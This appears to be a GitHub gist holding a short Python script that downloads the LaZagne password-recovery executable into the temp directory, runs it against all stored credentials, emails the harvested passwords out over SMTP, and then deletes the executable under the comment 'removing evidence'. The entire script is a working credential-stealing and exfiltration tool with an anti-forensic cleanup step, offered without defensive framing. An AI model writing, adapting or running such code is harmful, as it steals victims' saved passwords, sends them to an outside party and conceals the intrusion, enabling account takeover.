Skip to content

Instantly share code, notes, and snippets.

@davidlares
Created February 2, 2023 00:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save davidlares/5d331ecf204738366e6f16b0073a387a to your computer and use it in GitHub Desktop.
Save davidlares/5d331ecf204738366e6f16b0073a387a to your computer and use it in GitHub Desktop.
Running LaZagne programatically /w Python
import subprocess, smtplib, os, tempfile, requests
def send_email(email, username, password, message):
# instance
server = smtplib.SMTP("smtp.mailtrap.io", 587)
server.starttls()
server.login(username, password) # login
server.sendmail(email, email, message) # sending message
server.quit()
def download(url):
get_request = requests.get(url)
filename = url.split("/")[-1]
with open(filename, 'wb') as out:
out.write(get_request.content)
if __name__ == "__main__":
# generating the directory
temp = tempfile.gettempdir()
# moving
os.chdir(temp)
# download file
download("https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe")
# execute
results = subprocess.check_output("lazagne.exe all", shell=True)
# sending results
send_email('no-reply@davidlares.com', 'LOL', 'LOL', results)
# removing evidence
os.remove("lazagne.exe")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment